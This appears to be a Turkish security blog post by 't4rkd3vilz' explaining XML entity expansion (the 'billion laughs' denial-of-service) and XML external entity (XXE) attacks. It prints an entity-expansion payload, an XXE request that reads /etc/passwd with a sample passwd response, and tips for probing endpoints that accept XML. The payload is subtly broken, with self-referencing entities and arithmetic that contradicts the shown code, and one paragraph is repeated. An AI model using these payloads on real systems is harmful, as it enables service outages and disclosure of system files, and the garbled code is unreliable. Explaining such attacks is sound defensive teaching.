Selamün Aleyküm


XML Entity Expansion

XML dökümanı içinde bir çok yerde kullanılması gereken bir veri , değişken olarak tanımlanabilir . Bu değişkenler ’’DOCTYPE’’
içerisinde tanımlandırırlar ve ’’ENTITY’’ olarak adlandırılır .


Örnekteki gibi ;

<?xml version=’’1.0’’?>
<!DOCTYPE author [
     <!ENTITY yazar ’’t4rkd3vilz’’>

]>

<author>&yazar;</yazar>


Standart uygulama geliştirme dillerinde olduğu gibi ENTITY referans etiketi ile yazar değişkeni tanımlanmış olup ki <author>
etiketi içerisinde kullanılmıştır .XML parser’lar örnekte bulunan xml dökümanını parse ederken &yazar; yerine t4rkd3vilz metni
kullanılacaktır.


Bu kadar XML bilgisinden sonra gelelim asıl meseleye ,

<?xml version="1.0"?>
<!DOCTYPE author [
<!ENTITY a ’’t4rkd3vilz’’>
<!ENTITY a1 "&a;&a;&a;&a;&a;&a;&a;">
<!ENTITY a2 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a3 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
<!ENTITY a4 "&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;">
<!ENTITY a5 "&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;">
...
<!ENTITY a100 "&a100;">
]>
<author>&a100;</author>



’’a’’ değişkeni t4rkd3vilz değerini taşımaktadır . Bu da 10 karakterdir .’’a1’’ ise 14 tane ’’a’’ değişkeni içerdiği için
140 karakter taşımaktadır.’’a2’’ ise 12 tane ’’a1’’ içerdiği için ’’1680’’ karakter taşımaktadır.Bu yolla devam ederek
geometrik bir artış sağlanmaktadır.Dolayısıyla toplam karakter sayısı yüklü anlamda GB veri anlamına gelmekterdir.

XML değişken genişleme , XML parser’ların ilgili referans için kullanmak istedikleri veriyi hesaplarken yaşayacakları bellek
problemlerini ortaya çıkartır.Örneğimizde aynı yöntem ile değişkenlerimizi yükselterek uygulamanın belleği ile ilgili veriyi
işeleyemeyecek bellek dolacak bu istek sonucu uygulama hizmeti kesintisi ile karşı karşıya kalacaktır.


Videoya Bakmanız Faydalı Olacaktır.



External Entity Attack


Web sitelerine karşı yapılan en bilindik saldırılardan biridir.XML dökümanlarının referans tanımları ile kendi içine
yerel veya uzak sunucudan veri taşıması sonucu oluşmaktadır.Harici referans tanımı SYSTEM tanımlayıcısı ile yapılmaktadır.

Bu saldırı çeşidi ile yerel kaynaklardan dosya okunacağı gibi hizmet kesintisi DOS ,DDoS gibi saldırılarda gerçekleşmektedir.


Örnek bir zaafiyet kodumuza bakalım ;

İSTEK;

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
    <!ENTITY xxeattack SYSTEM "file:///etc/passwd">
]>



CEVAP;

<?xml version="1.0" encoding="utf-8"?>
<return xsi;type=’’xsd;string’’>root:0:0:root:/root:/bin/hash
...

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/bin/sh

bin:x:2:2:bin:/bin:/bin/sh

...


XXE güvenlik açıklarını belirlemek için nasıl

Bu sorunun basit cevabı girdi olarak XML kabul eden bitiş noktalarını tespit etmek olacaktır. Ama bazen XML kabul-bitiş
noktaları çok açık olmayabilir, böyle durumlarlada karşılaşılabilir.Böyle bir uygulama nasıl tepki
vereceğini görmek için vb HTTP yöntemleri, Content-Type değiştirme gibi farklı şeyler denemek zorunda. Uygulama içeriğini
ayrıştırır, sonra yanıtımızı alırız.


Birde Resimlere Bakalım







Bu sorunun basit cevabı girdi olarak XML kabul eden bitiş noktalarını tespit etmek olacaktır. Ama bazen XML kabul-bitiş
noktaları çok açık olmayabilir, böyle durumlarlada karşılaşılabilir.Böyle bir uygulama nasıl tepki
vereceğini görmek için vb HTTP yöntemleri, Content-Type değiştirme gibi farklı şeyler denemek zorunda. Uygulama içeriğini
ayrıştırır, sonra yanıtımızı alırız.


Videoya Bakmanız Faydalı Olacaktır.

Selametle | t4rkd3vilz

Hakkımda Unknown

Turk DevilZ | Bug Researcher Expert


«
Sonraki
Sonraki Kayıt
»
Önceki
Önceki Kayıt

Hiç yorum yok:

Yorumlar